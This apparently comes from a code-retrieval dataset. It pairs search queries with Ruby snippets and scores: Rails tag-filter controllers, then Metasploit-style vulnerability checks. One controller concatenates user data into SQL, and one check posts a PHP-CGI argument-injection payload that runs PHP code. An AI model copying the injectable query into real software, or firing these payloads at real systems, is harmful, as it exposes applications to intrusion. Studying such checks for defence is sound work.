"def index\n @tags = Tag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tags }\n end\n end",
"def index\n if params[:tag]\n @search = Book.approved?(@user).search(tags_name_eq: params[:tag])\n else\n @search = Book.approved?(@user).search(params[:q])\n end\n @books = @search.result.includes(:reviews, :tags).paginate(:page => params[:page]).order(rating: :desc)\n @search.build_condition\n end",
"def index\n if params[:tag]\n @snippets = Snippet.where(:tag => params[:tag]).all\n else\n @snippets = Snippet.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @snippets }\n end\n end",
"def show\n \t\n \t#select the current filters based on the url to current page\n \t@url = request.fullpath\n \t\n \tif !(@url.include?(\"listfilter=true\"))\n \t @listfilter = false\n \telse\n \t @listfilter = true\n \tend\n \t\n \tif !(@url.include?(\"eventfilter=true\"))\n \t @eventfilter = false\n \telse\n \t @eventfilter = true\n \tend\n\n \t@tag = Tag.find(params[:id])\n \t\n @list_tags = Tag.paginate :per_page => 10, :page => params[:page],\n \t:conditions => '(name like \"' + @tag.name + '\" AND event_id = 0)',\n \t:order => 'created_at'\t\n\n @event_tags = Tag.paginate :per_page => 10, :page => params[:page],\n \t:conditions => '(name like \"' + @tag.name + '\" AND item_id = 0)',\n \t:order => 'created_at'\n\n end",
"def index\n @users = User.all\n @tags = current_user.tag_counts_on(:tags)\n if current_user.try(:admin?) && params[:tag]\n @eventos = Evento.tagged_with(params[:tag])\n @proyectos = User.all\n elsif current_user.try(:admin?)\n @eventos = Evento.all\n @proyectos = User.all\n elsif params[:tag]\n @eventos = Evento.where(:user_id => current_user.id).tagged_with(params[:tag])\n else\n @eventos = Evento.where(:user_id => current_user.id)\n end\n respond_to do |format|\n format.html\n format.json\n format.xls\n end\n end",
"def tag\n tag = params[:tag]\n @articles = Article.by_tags.startkey([tag]).endkey([tag, {}]).descending.limit(10)\n Rails.logger.info \"articles length: #{@articles.length}\"\n\n respond_to do |format|\n format.html { render :action => :index }\n format.json { render json: @articles }\n end\n end",
"def index\n @articles = Article.all\n @tags = @articles.map {|article| article.tags}.flatten.uniq\n if params[:search]\n @articles = Article.search(params[:search]).order(\"created_at DESC\")\n elsif params[:tag]\n @articles = Article.tag_search(params[:tag])\n else\n @articles = Article.all.order(\"created_at DESC\")\n end\n end",
"def tag; end",
"def tag; end",
"def index\n task_tags = TaskTag.all\n task_tags = task_tags.where(\"title like ? or description like ?\", \"%#{params[:q]}%\", \"%#{params[:q]}%\") if params[:q]\n @task_tags = page(task_tags.order(params[:order] || :title))\n end",
"def index\n if params[:titleKeyword].blank? and params[:tagKeyword].blank?\n @articles = Article.all\n elsif params[:tagKeyword].blank?\n @articles = Article.where('title LIKE ?', \"%#{params[:titleKeyword]}%\")\n elsif params[:titleKeyword].blank?\n @articles = Article.joins(:tags).where('value = ?', params[:tagKeyword])\n else\n @articles = Article.joins(:tags).where('value = ? AND title LIKE ?', params[:tagKeyword], \"%#{params[:titleKeyword]}%\")\n end\n end",
"def show\n @tagname = params[:id].to_s\n @tags = Tag.name_is(@tagname).descend_by_updated_at.reject {|r| !r.tagable.read_allowed?(current_user) }.paginate(\n :page => params[:page], :per_page => POSTINGS_PER_PAGE)\n @tagables = @tags.map { |t| \n t.tagable\n }.sort { |b,a| a.updated_at <=> b.updated_at }\n end",
"def index\n unless params[:tag].blank?\n @recipes = current_user.recipes.tagged_with(params[:tag]).order(\"created_at desc\").page(params[:page]).per(10)\n else\n @recipes = current_user.recipes.order(\"created_at desc\").page(params[:page]).per(10) \n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end",
"def index\n filter = params[:tag_list]\n tag = params[:tag]\n if tag.present?\n images = Image.tagged_with(tag)\n elsif filter.present?\n images = Image.tagged_with(filter)\n else\n images = Image.all\n end\n\n page = params[:page] ||= 1\n @images = images.page(page).per(2)\n end",
"def tag\n begin\n t=GTag.find(params[:id])\n @query_info=t.tag\n\n # search in the descriptions\n @videos=VMetadata.search(t.tag, :page => params[:page], :per_page => @@per_page,\n :match_mode => :any, :rank_mode => :proximity_bm25)\n\n respond_to do |format|\n format.html { render 'query/show' }\n end\n rescue ActiveRecord::RecordNotFound\n render(:file => \"#{Rails.root}/public/404.html\",\n :status => \"404 Not Found\")\n# @videos=t.v_metadatas.paginate(:page => params[:page], :per_page => @@per_page)\n# @query_info=t.tag\n\n# respond_to do |format|\n# format.html { render 'query/show' }\n# end\n# rescue ActiveRecord::RecordNotFound\n# render(:file => \"#{Rails.root}/public/404.html\",\n# :status => \"404 Not Found\")\n end\n end",
"def index\n @tag_tags = TagTag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tag_tags }\n end\n end",
"def filter_by_tag\n if params[:event][:tag_id] == \"\"\n flash[:notice] = \"You must select a tag.\"\n redirect_to :back\n else\n tag = Tag.find(params[:event][:tag_id])\n @events = tag.events\n end\n end"
] | [
"0.7405819",
"0.7246637",
"0.7220121",
"0.71673876",
"0.70984054",
"0.7066891",
"0.7061992",
"0.7021258",
"0.69659466",
"0.69412416",
"0.6908443",
"0.6790451",
"0.67530656",
"0.67470604",
"0.6737189",
"0.67277986",
"0.6694082",
"0.6688087",
"0.6687688",
"0.6672699",
"0.6617998",
"0.6615672",
"0.66021264",
"0.659905",
"0.65968657",
"0.6594362",
"0.6594049",
"0.6547774",
"0.6538566",
"0.65349317",
"0.6514271",
"0.6493861",
"0.6487618",
"0.6456099",
"0.6455465",
"0.6452134",
"0.64347345",
"0.6433749",
"0.64186835",
"0.6418051",
"0.6416701",
"0.64148045",
"0.64148045",
"0.64148045",
"0.64148045",
"0.64148045",
"0.64148045",
"0.64148045",
"0.64107716",
"0.63983953",
"0.6391316",
"0.63900787",
"0.6390018",
"0.6390018",
"0.63879395",
"0.6387843",
"0.6379437",
"0.6372419",
"0.63659763",
"0.6352643",
"0.635084",
"0.6334281",
"0.6314125",
"0.6306681",
"0.6302927",
"0.63025534",
"0.6294807",
"0.62765145",
"0.62709385",
"0.62709385",
"0.62673265",
"0.62614185",
"0.62605137",
"0.6257657",
"0.62540317",
"0.6246347",
"0.62463003",
"0.62434477",
"0.6240771",
"0.62302715",
"0.6210496",
"0.620613",
"0.6202252",
"0.61857057",
"0.61856383",
"0.6175265",
"0.6144983",
"0.61428577",
"0.61345565",
"0.61294514",
"0.61282563",
"0.6126617",
"0.6126617",
"0.61255044",
"0.61227417",
"0.6121366",
"0.6119247",
"0.611916",
"0.610866",
"0.61083853",
"0.61033297"
] | 0.0 | -1 |
the partial to render, required for custom types | def partial
"/otus/page/gmap"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def render_partial(context, options, &block); end",
"def show_partial\n Partial\n end",
"def partial; end",
"def partial; end",
"def partial; end",
"def partial; end",
"def render_partial(*ignore_args); end",
"def partial?; end",
"def partial?\n @type == :partial\n end",
"def render_partial(template, types, context)\n templates.get(template, types).render(context)\n end",
"def render_partial name, locals\n @context.instance_eval { render :partial => \"view_models/collection/#{name}\", :locals => locals }\n end",
"def partial!(*args)\n if args.one? && _is_active_model?(args.first)\n _render_active_model_partial args.first\n else\n _render_explicit_partial(*args)\n end\n end",
"def partial(name)\n BaseController.render_partial(\"#{name}\")\n end",
"def render_partial_for(element, field, label, tip, template, helper, required, extra_locals, args)\n errors = self.class.ignore_errors ? nil : error_message_for(field)\n locals = extra_locals.merge(:element => element, :field => field, :builder => self, :object => object, :object_name => object_name, :label => label, :errors => errors, :tip => tip, :helper => helper, :required => required)\n\n @template.render :partial => \"#{self.class.template_root}/#{template}.html.erb\", :locals => locals\n end",
"def render_content_type_partial(object, engage)\n if engage == false\n if object.class.name == \"Job\"\n render 'website/jobs/job', job: object\n elsif object.class.name == \"Post\"\n render 'website/posts/post', post: object\n elsif object.class.name == \"Offer\"\n render 'website/offers/offer', offer: object\n elsif object.class.name == \"BeforeAfter\"\n render 'website/before_afters/before_after', before_after: object\n elsif object.class.name == \"Gallery\"\n render 'website/galleries/gallery', gallery: object\n elsif object.class.name == \"Event\"\n render 'website/events/event', event: object\n elsif object.class.name == \"EventDefinition\"\n render 'website/event_definitions/event_definition', event_definition: object\n elsif object.class.name == \"QuickPost\"\n render 'website/quick_posts/quick_post', quick_post: object\n end\n elsif engage == true\n # if object.class.name == \"Job\"\n # render 'listing/listings/job', job: object\n if object.class.name == \"Post\"\n render 'listing/listings/post', post: object\n elsif object.class.name == \"Offer\"\n render 'listing/listings/offer', offer: object\n elsif object.class.name == \"BeforeAfter\"\n render 'listing/listings/before_after', before_after: object\n elsif object.class.name == \"Gallery\"\n render 'listing/listings/gallery', gallery: object\n elsif object.class.name == \"Event\"\n render 'listing/listings/event', event: object\n elsif object.class.name == \"EventDefinition\"\n render 'listing/listings/event_definition', event_definition: object\n elsif object.class.name == \"QuickPost\"\n render 'listing/listings/quick_post', quick_post: object\n end\n end\n end",
"def render_partial(context, options, &block) # :nodoc:\n render_partial_to_object(context, options, &block).body\n end",
"def render(*args)\n if args.first.is_a?(Hash) && args.first.keys.include?(:partial)\n return haml \"layouts/_#{args.first[:partial]}.html\".to_sym, :layout => false\n else\n super\n end\n end",
"def rendered; end",
"def partial(name, options = {})\n options[:partial] = name\n action_view.render(options)\n end",
"def render\n end",
"def render\n # To be implemented.\n end",
"def build_html\n ApplicationController.render(partial: partial, locals: locals)\n end",
"def partial(*args)\n partial_name = args.shift.to_s\n partial_name = PARTIAL_PREFIX + partial_name\n render_partial(partial_name, *args)\n end",
"def render\n raise NotImplementedError, 'this should be overridden by concrete sub-class'\n end",
"def partial(name, options={})\n old_format = self.template_format\n self.template_format = :html\n js render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def partial\n instance = load_instance()\n instance ||= Media_Container.find(1).with(Media_Container.asset_id == param(:asset_id_child)).entity\n article = instance.article\n \n editor = view_string(:container_attachments, \n :article => instance.article, \n :media_container => instance, \n :media_asset_list => Media_Asset_Controller.choice_list(:selected => instance.media_assets))\n \n GUI::Article_Partial.new(:article => article, \n :partial => HTML.div { editor }, \n :entity => instance)\n end",
"def document_partial_name(doc, base_name = nil)\n view_cfg = blacklight_config_for(doc).view_config(:show)\n key = base_name && view_cfg[:\"#{base_name}_display_type_field\"].presence\n type = (key && doc[key]) || doc[view_cfg.display_type_field] || 'default'\n type_field_to_partial_name(doc, type)\n end",
"def render_person_info(person)\n partial :sidebar_person_info, :locals => {:person => person}\n end",
"def partial\n mod = self.class.name.split(\"::\")[-2]\n partial_name = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self.class.name))\n File.join(STREAMLINED_TEMPLATE_ROOT, \"relationships/#{mod.underscore}/_#{partial_name}.rhtml\")\n end",
"def render_wizard_partial(main_wizard_model, f)\n @page = main_wizard_model.page || 0\n path = @controller.class.controller_path\n\n template = \"\"\n (0...@page).each { |i|\n fname = \"#{path}/sub_pages/#{main_wizard_model.get_page_template(i)}_hidden\"\n template << \"<%= yield :included_wizard_page_#{i+1} %>\"\n content_for \"included_wizard_page_#{i+1}\" do\n render :partial=>fname, :locals=>{:main_form=>f} rescue \"\"\n end\n }\n\n template << \"<%= yield :included_wizard_page_#{@page+1} %>\"\n content_for \"included_wizard_page_#{@page+1}\" do\n render :partial=>wizard_page_template(main_wizard_model), :locals=>{:main_form=>f}\n end\n\n render :inline=>template\n end",
"def render\n end",
"def render\n end",
"def render\n end",
"def render\n end",
"def edit_partial \n return 'edit_' + self.class.to_s.underscore\n end",
"def content_partial\n @content_partial ||= begin\n layout_variant = parent.own_or_inherited_layout_variant[target]\n layout_variant['representation'] + '_content' if layout_variant\n end\n end",
"def show_partial_for(o)\n \"#{o.class.name.underscore}s/show\"\n end",
"def render; end",
"def render; end",
"def render; end",
"def render; end",
"def render; end",
"def render\n raise NotImplementedError\n end",
"def render_edit_field_partial_with_action(record_type, field_name, locals)\n partial = find_edit_field_partial(record_type, field_name)\n render partial, locals.merge(key: field_name)\n end",
"def rendered_templates; end",
"def render_partial(path, locals = {})\n raw theme_view.render(partial: path, locals: locals)\n end",
"def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end",
"def render\n raise NotImplementedError\n end",
"def render\n\n end",
"def browse_partial\n render :layout => false, :html => (params.to_json * 20)\n end",
"def additional_info\n render :partial => \"additional_info\"\n end",
"def render_partial(event)\r\n render_partial_with_logging(event) unless render_without_logging\r\n end",
"def render( * )\n\t\tnil\n\tend",
"def render( * )\n\t\tnil\n\tend",
"def embedded_partial(path,name,opts={})\n additional_opts = opts\n additional_opts.merge!({ :partial => name, :locals => { :___embedded_html___ => element_at(path).inner_html }.merge(opts[:locals]||{}) })\n renderer.view.instance_eval { render(additional_opts) }\n end",
"def partial_in(controller, partial_name, *args)\n partial_name = PARTIAL_PREFIX + partial_name.to_s\n begin\n controller.render_partial(partial_name, *args)\n rescue\n Ramaze::Log.error(\"Error loading partial #{controller.to_s}.#{partial_name}\")\n raise $!\n end\n end",
"def render\n \"<div id=\\\"#{self.area_type}_#{self.id}\\\">#{self.html}</div>\"\n end",
"def render\n \"<div id=\\\"#{self.area_type}_#{self.id}\\\">#{self.html}</div>\"\n end",
"def render_partial(p,local_assigns={})\n# ActionView::TestCase::Behavior#, which invokes ActionView::Rendering#:\n if local_assigns.blank? # Work around bugs:\n render :partial => p\n else\n render p, local_assigns\n end\n @partial=p.clone.insert p.index(?/)+1, '_'\n end",
"def after_partial_setup(view)\n end",
"def partial\n \"/otus/page/material_examined\"\n end",
"def render_field_block(f, klass, attribute, field_method, field_options)\n render :partial => 'shared/form_field',\n :locals => {f: f, klass: klass, attr: attribute, type: field_method, opts: field_options}\n end",
"def render_addon_form_helper(a, addon_form,type)\n if a.addon.registration_type==type\n partial = a.addon.addon_type.to_s.split(\"::\").last.downcase\n #If using the outside-City controller (\"Home\") render one partial, otherwise use in-City partial\n if params[:controller]=='home'\n render partial: \"home/addons/#{partial}\", locals: { addon_form: addon_form, a: a }\n else\n render partial: \"events/addons/#{partial}\", locals: { addon_form: addon_form, a: a }\n end\n end\n end",
"def to_partial_path\n \"alchemy/elements/#{name}_view\"\n end",
"def render_partial(event)\n render_partial_with_logging(event) unless render_without_logging\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def render_ajax\n {:partial => 'shared/flexigrid/ajax', :locals => {:grid => self}}\n end",
"def view_types_dir() 'views/partials/' end",
"def render_partial(path, locals = {})\n controller.render(partial: \"integral/backend/shared/graphs/#{path}\",\n locals: locals,\n layout: false)\n end",
"def partial(partial)\n partial_view = \"partials/_#{partial}\".to_sym\n erb partial_view, :layout => false\nend",
"def render\n content\n end",
"def render\n content\n end",
"def render\n content\n end",
"def include_partial path, local_assigns = {}\r\n partial = @view.render :partial => path, :locals => local_assigns\r\n @output << partial\r\n end",
"def include_partial path, local_assigns = {}\r\n partial = @view.render :partial => path, :locals => local_assigns\r\n @output << partial\r\n end",
"def partial\n \"/otus/page/taxon_name_header\"\n end",
"def js_partial(name, options={})\n old_format = self.template_format\n self.template_format = :html\n js render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def partial_for_model(model, partial)\n controller = active_scaffold_controller_for(model)\n while controller.uses_active_scaffold?\n path = File.join(controller.controller_path, partial)\n return path if template_exists?(path, true)\n controller = controller.superclass\n end\n nil\n end",
"def render(options = {}, locals = {}, &block)\n buffer = super\n opts = { context: self, buffer: buffer, options: options, locals: locals }\n ActiveSupport::Notifications.instrument(:render_partial, opts)\n buffer\n end",
"def render\n content\n end",
"def override_form_field_partial(column)\n partial_for_model(column.active_record_class, \"#{clean_column_name(column.name)}_form_column\")\n end",
"def template_for(post)\n render(\n :partial => \"#{post.type.pluralize}/#{post.type}\",\n :locals => { :post => post }\n )\n end",
"def render_partial(name, options={})\n name = name.to_s\n if File.exists?(Rails.root.join(\"app\", \"views\", \"#{website.folder}/#{name.gsub(/\\/(?!.*\\/)/, \"/_\")}.html.erb\"))\n name = \"#{website.folder}/#{name}\"\n end\n eval(\"render '#{name}', options\")\n end",
"def render_model\n model.render\n end",
"def render\n inspect\n end",
"def rendered=(_arg0); end",
"def partial_for(obj, partial, parent_directory)\n\t\ttmp = obj.class.to_s.split('::')\n\t\tklass_sym = tmp[-1] # e.g, 'OfferArtifact'\n\t\tcontract_sym = tmp[-2] # e.g, 'Bet'\n\t\tpath = nil\n\t\tif (parent_directory != '') then\n\t\t\tpath = \"contract_views/#{contract_sym.underscore}/#{parent_directory}/#{klass_sym.underscore}\"\n\t\t\t# e.g, contract_views/bet/artifacts/OfferArtifact\n\t\telse\n\t\t\tpath = \"contract_views/#{contract_sym.underscore}/\"\n\t\t\t# e.g, contract_views/bet/\n\t\tend\n\t\tFile.join(path, partial)\n\tend",
"def partial_javascript(name, options={})\n old_format = self.template_format\n self.template_format = :js\n render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def show\n @partial = Partial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @partial }\n end\n end",
"def render\n raise NotImplementedError.new \"Please override 'render' in your \"+\n \"concrete implementation\"\n end",
"def render(page)\n rails_render(partial: page.tr(\"-\", \"_\"), layout: false) ||\n rails_render(action: page.tr(\"-\", \"_\"), layout: false) ||\n super.html_safe\n end",
"def render_partial(partial, content)\n template = ERB.new(File.read partial)\n content_binding = binding_from_hash(content)\n template.result(content_binding).html_safe\n end",
"def partial(template, opts={})\n choose_template_format(Merb.available_mime_types, {}) unless @_template_format\n template = _cached_partials[\"#{template}.#{@_template_format}\"] ||= find_partial(template)\n unless template\n raise TemplateNotFound, \"No template matched at #{unmatched}\"\n end\n \n opts[:as] ||= template[(template.rindex('/_') + 2)..-1].split('.').first\n\n if opts[:with] # Render a collection or an object\n partial_for_collection(template, opts.delete(:with), opts)\n else # Just render a partial\n engine = Template.engine_for(template)\n render_partial(template, engine, opts || {})\n end\n end",
"def render_element_head element\n render :partial => \"elements/partials/element_head\", :locals => {:element_head => element}\n end",
"def render(component, prefix)\n @component = component\n @prefix = prefix\n \n name = self.class.to_s.rpartition('::').last.gsub(/([a-z])([A-Z])/) { \"#{$1}_#{$2}\" }.downcase\n haml(\"fields/#{name}\")\n end",
"def partial(file_name)\n erb file_name, :layout => false\n end",
"def partial?\n # TODO: Can this be introspected somehow?\n !!@partial\n end",
"def render_partial(file_name)\n # The \"default\" version of the partial.\n file_to_render = \"#{@input_folder}/partials/#{file_name.to_s}.haml\"\n if @scope\n # Look for a partial prefixed with the current \"scope\" (which is just the name of the\n # primary template being rendered).\n scope_file = \"#{@input_folder}/partials/#{@scope.to_s}_#{file_name.to_s}.haml\"\n # Use it if it's there.\n file_to_render = scope_file if File.exists? scope_file\n end\n # If we found a matching partial (either the scoped one or the default), render it now.\n if File.exists? file_to_render\n partial = Haml::Engine.new(File.read(file_to_render), @options)\n partial.render self\n else\n nil\n end\n rescue Exception => e\n raise $!, \"#{$!} PARTIAL::#{file_name} \", $!.backtrace\n end",
"def render(*args)\n super *args\n end",
"def render\n raise NotImplementedError, \"Subclasses must implement a render method\"\n end",
"def to_view(type)\n if (self.respond_to?(:view_file))\n return ::Base::Render.template(binding(), self.view_file(type))\n else\n return self.render_fields(:to_view, type)\n end\n end"
] | [
"0.74059415",
"0.72234726",
"0.7050912",
"0.7050912",
"0.7050912",
"0.7050912",
"0.703557",
"0.69546777",
"0.66500354",
"0.65945995",
"0.64815503",
"0.64734304",
"0.64188",
"0.6398751",
"0.63502747",
"0.6310277",
"0.6265314",
"0.6241855",
"0.6230188",
"0.6214689",
"0.62106943",
"0.6200133",
"0.6187235",
"0.6182461",
"0.61780095",
"0.61777234",
"0.6155843",
"0.61488193",
"0.6134659",
"0.6085068",
"0.6076079",
"0.6076079",
"0.6076079",
"0.60523236",
"0.60481507",
"0.604648",
"0.6041245",
"0.6031502",
"0.6031502",
"0.6031502",
"0.6031502",
"0.6031502",
"0.6011302",
"0.600551",
"0.5993791",
"0.59883535",
"0.59857357",
"0.59694046",
"0.5961742",
"0.5949879",
"0.59449285",
"0.5944079",
"0.59437096",
"0.59437096",
"0.59345895",
"0.59265745",
"0.5925769",
"0.5925769",
"0.59035826",
"0.58936125",
"0.5878987",
"0.5877123",
"0.58679056",
"0.584437",
"0.58318806",
"0.5824159",
"0.581929",
"0.5817559",
"0.5802646",
"0.5802411",
"0.5798785",
"0.5798785",
"0.5798785",
"0.5792014",
"0.5792014",
"0.578596",
"0.5779459",
"0.5765576",
"0.57617456",
"0.5761697",
"0.57586",
"0.57570666",
"0.57465965",
"0.5743779",
"0.5743699",
"0.5743622",
"0.5740176",
"0.5739908",
"0.57317257",
"0.5728292",
"0.57274634",
"0.57257944",
"0.5722224",
"0.57200235",
"0.57158613",
"0.5709171",
"0.57009554",
"0.56997746",
"0.56932974",
"0.56785285",
"0.5669788"
] | 0.0 | -1 |
Check exploit vulnerability basically // 'Appears' more convenient | def check
res = inject(Rex::Text.rand_text_alpha(1))
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exploit\n end",
"def check\n return Exploit::CheckCode::Vulnerable\n end",
"def check\n\t\treturn Exploit::CheckCode::Vulnerable\n\tend",
"def single_exploit\n end",
"def brute_exploit(addrs)\n end",
"def check\r\n # Find a valid CGI target\r\n target_uri = find_target_cgi\r\n unless target_uri\r\n return Exploit::CheckCode::Unknown\r\n end\r\n return Exploit::CheckCode::Vulnerable\r\n end",
"def test_nonhero_is_vulnerable\n end",
"def normal_php_cgi_rce_check(site)\n http=EasyCurb.new\n rnd = randz(8)\n chksum = Digest::MD5.hexdigest(rnd)\n test_payload = \"<?php print(___); echo md5('#{rnd}'); print(___); ?>\"\n trigger = '/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'\n link = site + trigger\n res = http.post(link, test_payload)\n if res[0] =~ /___#{chksum}___/m\n print_good(\"PHP CGI Code Injection is Possible!\")\n print_status(\"Confirmation: __#{chksum}__\")\n print_status(\"POST: #{link}\")\n print_status(\"DATA: #{test_payload}\")\n return link\n end\n return nil\nend",
"def exploit?\n\t\treturn (type == MODULE_EXPLOIT)\n\tend",
"def check\r\n\t\tres = send_request_raw({\r\n\t\t\t'method' => 'GET',\r\n\t\t\t'uri' => '/LoginServlet'\r\n\t\t})\r\n\r\n\t\tif res and res.body =~ /\\<title>\\SolarWinds \\- Storage Manager\\<\\/title\\>/ and\r\n\t\t res.body =~ /\\<img style=\"padding\\-top:30px;\" src=\"\\/images\\/logo_solarwinds_login\\.png\" width=\"163\" height=\"70\" alt=\"SolarWinds Storage Manager\"\\>/\r\n\t\t\treturn Exploit::CheckCode::Detected\r\n\t\telse\r\n\t\t\treturn Exploit::CheckCode::Safe\r\n\t\tend\r\n\tend",
"def site_found(input)\n BEEP.check_platform if OPTIONS[:beep]\n success = 'Possible Vulnerability'\n puts <<-_END_\n [ x ] -----------------------------------------------\n\n [#{Time.now.strftime(\"%T\")} #{success}]\n\n [ X ] Injection Point :: #{input.cyan}\n [ X ] Server Specifications :: #{SiteInfo.capture_host(input).cyan}\n [ X ] Possible IP Address :: #{SiteInfo.capture_ip(input).cyan}\n\n _END_\n end",
"def name\n\t\t\"Exploit\"\n\tend",
"def ygg_attacker() ; return nil ; end",
"def check_host(ip)\n print_status(\"Checking #{peer} for DLSw exposure\")\n response = get_response\n\n if !response.blank? && (response =~ /IOS Software|cisco.com/)\n print_good(\"#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected\")\n report_vuln(\n host: rhost,\n port: rport,\n name: name,\n refs: references,\n info: \"Module #{fullname} collected #{response.length} bytes\"\n )\n Exploit::CheckCode::Vulnerable\n else\n if response.blank?\n vprint_status(\"#{peer}: no response\")\n else\n vprint_status(\"#{peer}: #{response.size}-byte response didn't contain any leaked data\")\n end\n Exploit::CheckCode::Safe\n end\n end",
"def exploit\r\n # Find a valid CGI target\r\n target_uri = find_target_cgi\r\n return unless target_uri\r\n\r\n # Create wrappers for each potential architecture\r\n cycle_possible_payloads do |wrapped_payload|\r\n\r\n # Trigger the vulnerability and run the payload\r\n trigger_payload(target_uri, wrapped_payload)\r\n return if session_created?\r\n end\r\n end",
"def attack?\n true\n end",
"def test_misfortune\n # find a usable canary URI (one that returns an acceptable status code already)\n if canary = find_canary\n canary_value, canary_code = canary\n vprint_status(\"#{peer} found canary URI #{canary_value} with code #{canary_code}\")\n else\n vprint_error(\"#{peer} Unable to find a suitable canary URI\")\n return Exploit::CheckCode::Unknown\n end\n\n canary_cookie_name = 'C107373883'\n canary_cookie = canary_cookie_name + \"=#{canary_value};\"\n\n # Make a request containing a specific canary cookie name with the value set\n # from the suitable canary value found above.\n res = send_request_raw(\n 'uri' => normalize_uri(target_uri.path.to_s),\n 'method' => 'GET',\n 'headers' => headers.merge('Cookie' => canary_cookie)\n )\n\n unless res\n vprint_error(\"#{full_uri} no response\")\n return Exploit::CheckCode::Unknown\n end\n\n unless res.code.to_s =~ @status_codes_regex\n vprint_status(\"#{full_uri} unexpected HTTP code #{res.code} response\")\n return check_response_fingerprint(res, Exploit::CheckCode::Detected)\n end\n\n unless res.body\n vprint_status(\"#{full_uri} HTTP code #{res.code} had no body\")\n return check_response_fingerprint(res, Exploit::CheckCode::Detected)\n end\n\n # If that canary *value* shows up in the *body*, then there are two possibilities:\n #\n # 1) If the canary cookie *name* is also in the *body*, it is likely that\n # the endpoint is puppeting back our request to some extent and therefore\n # it is expected that the canary cookie *value* would also be there.\n # return Exploit::CheckCode::Detected\n #\n # 2) If the canary cookie *name* is *not* in the *body*, return\n # Exploit::CheckCode::Vulnerable\n if res.body.include?(canary_value)\n if res.body.include?(canary_cookie_name)\n vprint_status(\"#{full_uri} HTTP code #{res.code} response contained canary cookie name #{canary_cookie_name}\")\n return check_response_fingerprint(res, Exploit::CheckCode::Detected)\n else\n vprint_good(\"#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI\")\n report_vuln(\n host: rhost,\n port: rport,\n name: name,\n refs: references\n )\n return Exploit::CheckCode::Vulnerable\n end\n end\n\n vprint_status(\"#{full_uri} HTTP code #{res.code} response did not contain canary cookie value #{canary_value} as URI\")\n check_response_fingerprint(res, Exploit::CheckCode::Safe)\n end",
"def exploit_type\n Type::Omni\n end",
"def vulnerability_check(file_mode: false)\n file_to_read = file_mode ? FILE_FLAG_FILE_PATH : SITES_TO_CHECK_PATH # Check which file to read\n FORMAT.info(\"Reading from #{file_to_read}\")\n FORMAT.info('Forcing encoding to UTF-8') unless file_mode\n IO.read(\"#{file_to_read}\").each_line do |vuln|\n begin\n FORMAT.info(\"Parsing page for SQL syntax error: #{vuln.chomp}\")\n Timeout::timeout(10) do\n begin\n if SETTINGS.parse(\"#{vuln.chomp}'\", 'html', 0) =~ SQL_VULN_REGEX # If it has the vuln regex error\n SQL_ERROR[vuln.chomp] = SETTINGS.parse(\"#{vuln.chomp}'\", 'html', 0).to_s\n FORMAT.site_found(vuln.chomp)\n File.open(\"#{TEMP_VULN_LOG}\", \"a+\") { |vulnerable| vulnerable.puts(vuln) }\n sleep(0.5)\n else\n FORMAT.warning(\"#{vuln.chomp} is not vulnerable, dumped to non_exploitable.txt\")\n File.open(\"#{NON_EXPLOITABLE_PATH}\", \"a+\") { |non_exploit| non_exploit.puts(vuln) }\n sleep(0.5)\n end\n rescue Timeout::Error, OpenSSL::SSL::SSLError # Timeout or SSL errors\n FORMAT.warning(\"Site: #{vuln.chomp} failed to load, dumped to non_exploitable.txt\")\n File.open(\"#{NON_EXPLOITABLE_PATH}\", \"a+\") { |timeout| timeout.puts(vuln) }\n sleep(0.5)\n next\n end\n end\n rescue *LOADING_ERRORS\n FORMAT.err(\"#{vuln.chomp} failed due to an error while connecting, URL dumped to non_exploitable.txt\")\n File.open(\"#{NON_EXPLOITABLE_PATH}\", \"a+\") { |error| error.puts(vuln) }\n next\n end\n end\n end",
"def check\r\n if cmd_exec(\"sudo -V\") =~ /version\\s+([^\\s]*)\\s*$/\r\n sudo_vn = $1\r\n sudo_vn_parts = sudo_vn.split(/[\\.p]/).map(&:to_i)\r\n # check vn between 1.6.0 through 1.7.10p6\r\n # and 1.8.0 through 1.8.6p6\r\n if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)\r\n print_error \"sudo version #{sudo_vn} not vulnerable.\"\r\n return Exploit::CheckCode::Safe\r\n end\r\n else\r\n print_error \"sudo not detected on the system.\"\r\n return Exploit::CheckCode::Safe\r\n end\r\n\r\n if not user_in_admin_group?\r\n print_error \"sudo version is vulnerable, but user is not in the admin group (necessary to change the date).\"\r\n Exploit::CheckCode::Safe\r\n end\r\n # one root for you sir\r\n Exploit::CheckCode::Vulnerable\r\n end",
"def check\r\n\r\n # Connect to RHOST on PORT\r\n connect_login\r\n disconnect\r\n\r\n # Does Banner equal (===) to 220 PCMan's FTP Server 2.0?\r\n if /220 PCMan's FTP Server 2\\.0/ === banner\r\n Exploit::CheckCode::Appears\r\n else\r\n Exploit::CheckCode::Safe\r\n end\r\n end",
